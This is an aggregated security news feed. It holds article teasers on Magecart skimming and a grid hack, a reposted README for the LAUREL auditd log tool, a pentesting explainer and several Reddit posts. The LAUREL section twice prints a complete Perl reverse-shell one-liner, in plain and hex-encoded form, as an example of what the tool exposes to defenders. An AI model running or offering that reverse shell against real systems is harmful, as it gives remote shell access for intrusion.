Hacking on Medium
Magecart Hacks Food Ordering Systems to Steal this Data from Over 300 Restaurants

https://cdn-images-1.medium.com/max/728/0*_Dfb22nmpXFND92v
Three restaurant ordering platforms MenuDrive, Harbortouch, and InTouchPOS were the target of two Magecart skimming campaigns that…

Continue reading on Medium »

Hacking on Medium
A full breakdown of Ladakh’s Power-Grid hack

https://cdn-images-1.medium.com/max/2600/0*nloiQpdiGPUtWmje
Threat Activity Group 38 (TAG-38) is a hacking group which used ShadowPad Command and Control (C2) and compromised IOT devices (devices…

Continue reading on Medium »

KitPloit - PenTest Tools!
Laurel - Transform Linux Audit Logs For SIEM Usage

https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPx65opN-UVLxMLIMCUJHu0dqQzVrX-YPp09upe-KyeDI9ep-pjV9QHEzqhWzeT3U3tUypJjGDnCDEBdpxA2Iye4GhApDiEyHGG9W3l6kcwjQtB7yL6ajrLmY8hjYUQfORhZAu0To5s5ckkqLrmBMfxtMQCtWZe47VN-qyFR-AhDbESPh39oEP-EjJ/s16000/laurel.png LAUREL is an event post-processing plugin for auditd(8) to improve its usability in modern security monitoring setups. Why?TLDR: Instead of audit events that look like this… type=EXECVE msg=audit(1626611363.720:348501): argc=3 a0="perl" a1="-e" a2=75736520536F636B65743B24693D2231302E302E302E31223B24703D313233343B736F636B65742… …turn them into JSON logs where the mess that your pen testers/red teamers/attackers are trying to make becomes apparent at first glance: { … "EXECVE":{ "argc": 3,"ARGV": ["perl", "-e", "use Socket;$i=\"10.0.0.1\";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};"]}, …} This happens at the source. The generated event even contains useful information about the spawning process: "PARENT_INFO":{"ID":"1643635026.276:327308","comm":"sh","exe":"/usr/bin/dash","ppid":3190631} DescriptionLogs produced by the Linux Audit subsystem and auditd(8) contain information that can be very useful in a SIEM context (if a useful rule set has been configured). However, the format is not well-suited for at-scale analysis: Events are usually split across different lines that have to be merged using a message identifier. Files and program executions are logged via PATHand EXECVEelements, but a limited character set for strings causes many of those entries to be hex-encoded. For a more detailed discussion, see Practical auditd(8) problems.

LAUREL solves these problems by consuming audit events, parsing and transforming them into more data and writing them out as a JSON-based log format, while keeping all information intact that was part of the original audit log. It does not replace auditd(8) as the consumer of audit messages from the kernel. Instead, it uses the audisp ("audit dispatch") interface to receive messages via auditd(8). Therefore, it can peacefully coexist with other consumers of audit events (e.g. some EDR products).

Refer to JSON-based log format for a description of the log format.

We developed this tool because we were not content with feature sets and performance characteristics of existing projects and products. Please refer to Performance for details. A word about audit rulesA good starting point for an audit ruleset is https://github.com/Neo23x0/auditd, but generally speaking, any ruleset will do. LAUREL will currently only work as designed if End Of Event record are not suppressed, so rules like -a always,exclude -F msgtype=EOEshould be removed. Events with contextEvery event that is caused by a syscall or filesystem rule is annotated with information about the parent of the process that caused the event. If available, idpoints to the message corresponding to the last execvesyscall for this process: "PARENT_INFO": {
"ID": "1643635026.276:327308",
"comm": "sh",
"exe": "/usr/bin/dash",
"ppid": 1532
}Adding more context: Keys and process labelsAudit events can contain a key, a short string that can be used to filter events. LAUREL can be configured to recognize such keys and add them as keys to the process that caused the event. These labels can also be propagated to child processes. This is useful to avoid expensive JOIN-like operations in log analysis to filter out harmless events.

Consider the following rule that set keys for apt and dpkg invocations: -w /usr/bin/apt-get -p x -k software_mgmt Let's config[...]

ure LAUREL to turn the software_mgmtkey into a process label that is propagated to child processes:

Together with a ruleset that logs execve(2) and variants, this will cause every event directly caused by apt-getand its subprocesses to be labelled software_mgmt.
For example, running sudo apt-get updateon a Debian/bullseye system with a few sources configured, the following subprocesses labelled software_gmtcan be observed in LAUREL's audit log:

* apt-get update* /usr/bin/dpkg --print-foreign-architectures* /usr/lib/apt/methods/http* /usr/lib/apt/methods/https* /usr/lib/apt/methods/https* /usr/lib/apt/methods/http* /usr/lib/apt/methods/gpgv* /usr/lib/apt/methods/gpgv* /usr/bin/dpkg --print-foreign-architectures* /usr/bin/dpkg --print-foreign-architecturesThis sort of tracking also works for package installation or removal. If some package's post-installation script is behaving suspiciously, a SIEM analyst will be able to make the connection to the software installation process by inspecting the single event. InstallationSee INSTALL.md. LicenseGNU General Public License, version 3 Authors* Hilko Bengen bengen@hilluzination.de>
* Sergej Schmidt sergej@msgpeek.net>

The logo was created by Birgit Meyer hello@biggi.io>. Download Laurel

Laurel - Transform Linux Audit Logs For SIEM Usage
http://www.kitploit.com/2022/07/laurel-transform-linux-audit-logs-for.html

LAUREL is an event post-processing plugin for auditd(8) to improve its usability in modern security monitoring setups.
Why? TLDR: Instead of audit events that look like this… type=EXECVE msg=audit(1626611363.720:348501): argc=3 a0="perl" a1="-e" a2=75736520536F636B65743B24693D2231302E302E302E31223B24703D313233343B736F636B65742…
…turn them into JSON logs where the mess that your pen testers/red teamers/attackers are trying to make becomes apparent at first glance: { … "EXECVE":{ "argc": 3,"ARGV": ["perl", "-e", "use Socket;$i=\"10.0.0.1\";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};"]}, …}
This happens at the source. The generated event even contains useful information about the spawning process: "PARENT_INFO":{"ID":"1643635026.276:327308","comm":"sh","exe":"/usr/bin/dash","ppid":3190631}
Description Logs produced by the Linux Audit subsystem and auditd(8) contain information that can be very useful in a SIEM context (if a useful rule set has been configured). However, the format is not well-suited for at-scale analysis: Events are usually split across different lines that have to be merged using a message identifier. Files and program executions are logged via PATH and EXECVE elements, but a limited character set for strings causes many of those entries to be hex-encoded. For a more detailed discussion, see Practical auditd(8) problems. LAUREL solves these problems by consuming audit events, parsing and transforming them into more data and writing them out as a JSON-based log format, while keeping all information intact that was part of the original audit log. It does not replace auditd(8) as the consumer of audit messages from the kernel. Instead, it uses the audisp ("audit dispatch") interface to receive messages via auditd(8). Therefore, it can peacefully coexist with other consumers of audit events (e.g. some EDR products). Refer to JSON-based log format (https://github.com/threathunters-io/laurel/blob/master/json-format.md) for a description of the log format. We developed this tool because we were not content with feature sets and performance (https://www.kitploit.com/search/label/Performance) characteristics of existing projects and products. Please refer to Performance (https://github.com/threathunters-io/laurel/blob/master/performance.md) for details. A word about audit rules A good starting point for an audit ruleset is https://github.com/Neo23x0/auditd, but generally speaking, any ruleset will do. LAUREL will currently only work as designed if End Of Event record are not suppressed, so rules like -a always,exclude -F msgtype=EOE should be removed. Events with context Every event that is caused by a syscall or filesystem (https://www.kitploit.com/search/label/Filesystem) rule is annotated with information about the parent of the process that caused the event. If available, id points to the message corresponding to the last execve syscall for this process: "PARENT_INFO": {
"ID": "1643635026.276:327308",
"comm": "sh",
"exe": "/usr/bin/dash",
"ppid": 1532
} Adding more context: Keys and process labels Audit events can contain a key, a short string that can be used to filter events. LAUREL can be configured to recognize such keys and add them as keys to the process that caused the event. These labels can also be propagated to child processes. This is useful to avoid expensive JOIN-like operations (https://www.kitploit.com/search/label/Operations) in log analysis (https://www.kitploit.com/search/label/Analysis) to filter out harmless events. Consider the following rule that set keys for apt and dpkg invocations: -w /usr/bin/apt-get -p x -k software_mgmt

Let's configure LAUREL to turn the software_mgmt key into a process label that is propagated to child processes: Together with a ruleset that logs execve(2) and variants, this will cause every event directly caused by apt-get and its subprocesses to be labelled software_mgmt. For example, running sudo apt-get update on a Debian/bullseye system with a few sources configured, the following subprocesses labelled software_gmt can be observed in LAUREL's audit log: apt-get update /usr/bin/dpkg --print-foreign-architectures /usr/lib/apt/methods/http /usr/lib/apt/methods/https /usr/lib/apt/methods/https /usr/lib/apt/methods/http /usr/lib/apt/methods/gpgv /usr/lib/apt/methods/gpgv /usr/bin/dpkg --print-foreign-architectures /usr/bin/dpkg --print-foreign-architectures This sort of tracking (https://www.kitploit.com/search/label/Tracking) also works for package installation or removal. If some package's post-installation script is behaving suspiciously, a SIEM analyst will be able to make the connection to the software installation process by inspecting the single event. Installation See INSTALL.md (https://github.com/threathunters-io/laurel/blob/master/INSTALL.md). License GNU General Public License, version 3 Authors Hilko Bengen Sergej Schmidt The logo was created by Birgit Meyer .

Download Laurel (https://github.com/threathunters-io/laurel)

Publicly Accessible Android Crash Reports Containing Sensitive Information

Hello Guys,Continue reading on Medium »
Read more...

CVE-MAKER : An Hub for CVE and Exploits searching
https://www.reddit.com/r/Pentesting/comments/w8hmwa/cvemaker_an_hub_for_cve_and_exploits_searching/

submitted by /u/msd0pe (https://www.reddit.com/user/msd0pe)
[link] (https://github.com/msd0pe-1/cve-maker) [comments] (https://www.reddit.com/r/Pentesting/comments/w8hmwa/cvemaker_an_hub_for_cve_and_exploits_searching/)

Black Hat Ethical Hacking
The Difference between White-Box and Black-Box Pentesting

The Difference between White-Box and Black-Box PentestingPost Views: 16
Reading Time: 3 Minutes IntroductionEach Pentesting solution is different, with varying expertise and specialties. Before you decide who will perform it and which approach you will take, it’s important to have an idea of what you want out of a Pentesting.

For example, you’ll need to decide on the scope of work and what area of the infrastructure you want to assess, like your network, web applications, or different IoT devices. You also need to think about the project type, determining whether you’re looking for a more focused penetration test that will uncover and exploit weaknesses or a more comprehensive teaming exercise aimed at training a defense team by simulating an attack scenario.

Whether Internal or External, the approach certainly is important to study before proceeding in choosing the assessment. The way you discuss your scope in the initial stages and define the amount of info shared can be crucial. In the real world, an attacker will have zero knowledge and will still get access if he targets your company without any questions asked.
In this article, we will explain the difference between White-Box and Black-Box Penetration Testing.

When we speak of Black and White Boxes, we are speaking of the amount of access a pentester has been given before attempting to breach a system or network and the approach.
See Also: Solutions: Internal and External Pentesting So, what are the differences between the White-Box and Black-Box Pentesting?White-Box:Also known as Clear Box testing or Glass Box testing, is a penetration testing approach that involves sharing full access network and system information with the testers. White-Box testing aims to identify potential weaknesses in various areas such as logical vulnerabilities, potential security exposures, security misconfigurations, poorly written development code, and lack-of-defensive measures.

The goal of a White-Box penetration test is to provide as much information as possible to the penetration tester so that he/she can gain an insightful understanding of the system and elaborate the test based on it specifically giving us in scope only things to check.

Having and sharing this information helps to save time and reduce the overall cost of an engagement. White Box testing is considered low-level testing.
The Pros of this type of testing are:

* Deep and thorough testing
* Maximizes testing time
* Extends the testing area dealing with critical issues
The Cons of this type of testing are:

* It makes assessments more difficult and limited in exploitation where the live impact is involved in the current state of systems in scope.
* Test cases are difficult to design due to environment-specific metrics, and finding vulnerabilities may take longer than other tests.
However, it is a non-realistic attack, as the penetration tester is not in the same position as a non-informed potential attacker. Also in the real world, hackers are not told what is in scope or how and when to attack. This is where Black-Box comes in. Black-Box:A Black-Box penetration test requires little or no information from the tester about the target system (applications or network) and usually takes the approach of an uninformed attacker. The pentester in this instance follows the approach of an unprivileged attacker, from initial access and execution through to exploitation.

This type of testing can be seen as the most authentic and realistic of a Cyber Attack, demonstrating how an adversary with no inside knowledge would target and compromise an organization. Just like in the real w[...]

orld.

However, it also requires a great deal of time and has the greatest potential to overlook a vulnerability that exists within the internal part of a network or application.

Black-Box testing is a powerful testing technique because it exercises the behavior of a system end-to-end.
The Pros of this type of attack are:

* Ability to approach your company by all means necessary. Unorthodox techniques are used that combine Social Engineering, manually look for outdated versions, and exploit them using custom code and tools to gain and elevate access.
* Post exploitation then goes through spending time inside your network performing and looking for information that could damage your company, including planting ransomware and escalating to a more critical impact.
The Cons of this type of attack are:

* It does not cover in-depth assessment as compared to white-box tests.
* It is performed against production environments in the case of an active directory, and internal LAN/networks.
See Also: Solutions: Web Application Pentesting Which one is best for your Company?A penetration test aims to identify potential vulnerabilities in your systems before criminal hackers do. When commissioning a penetration test, by Defining the concerns, you would like to resolve is essential to designing a customized approach that will effectively meet the necessary security requirements and result in the most value from your penetration testing investment. There is no right/wrong decision about White-Box or Black-Box. It depends on the scenario that needs to be tested and your requirements.

Our team of highly skilled and innovative ethical hackers at BHEH customizes every engagement to ensure the most thorough penetration test possible tailored to your needs. We understand that not every architecture or application fits into a predefined box and will require an adaptive testing methodology to develop a solution that works best for your organization.
There is no minimum threat in Cyber Security. An old saying about achieving high quality in manufacturing is “You can’t manage what you can’t measure.” From an Information Security standpoint, a better expression would be “You can’t protect what you can’t see.” Most importantly, you need visibility to where sensitive information is at all times.

After all, how would you know how you withstand a targeted attack if you do not test your equipment setups?
To find out more about how Black Hat Ethical Hacking can help you, check out our Solutions https://www.blackhatethicalhacking.com/solutions Recent Articles* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/07/Hacking-Linux-300x150.png How Misconfigurations in Linux can leave you vulnerable to AttackersJuly 12, 2022
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/06/QR-Codes-for-hacking-300x150.png How do QR Codes work and how criminal hackers use them to generate phishing attacks – DemoJune 30, 2022
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/05/Articles_Gallery1-300x150.png Kevin Poulsen, aka Dark Dante, and his hacking activities on ARPANET’s networksMay 30, 2022
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/05/The-Difference-between-Vulnerability-Assessment-and-Pentesting.-300x150.png The Difference between Vulnerability Assessment and PentestingMay 27, 2022 https://www.blackhatethicalhacking.com/wp-content/uploads/2022/06/OffSec-Course.png Offensive Security & Ethical Hacking CourseBegin the learning curve of hacking now!
The post The Difference between White-Box and Black-Box Pentesting first appeared on Black Hat Ethical Hacking.

hacking: security in practice
New IP Osint Tool!

Hello World!

I just finished my tool and publish it in github.

It's a python tool that extract Ip addresses from captured network traffic file (pcap/pcapng) and generate csv report containing details about the geolocation of each ip in the packets.

I hope you check it out

https://github.com/z-alami/IpGeo

submitted by /u/doloren59
[link] [comments]
➖ Sent by @TheFeedReaderBot ➖

hacking: security in practice
Explaining hacking to a newbie issues

How can I explain that it is not easy to hack an instagram or discord account, and I cannot hack a whole ass billion-dollar company???

submitted by /u/Bulky-Technology-398
[link] [comments]
➖ Sent by @TheFeedReaderBot ➖

hacking: security in practice
Tech for exposing live heart beat and respiration data to a websocket

I'm posting here since I'm sure there are people here who have done some fun hacky setups around this topic. Obviously I'm doing this with permission from the person involved.

Am doing a visual art project (with some budget) and am going to be respresenting people heartbeats with some visuals in real time.

I've done all the live visual bits before, but I'm unsure how to go from someones data to a websocket, local server or similar. Can anyone suggest some tech that might help me achieve this?

submitted by /u/TechnicalyAnIdiot
[link] [comments]
➖ Sent by @TheFeedReaderBot ➖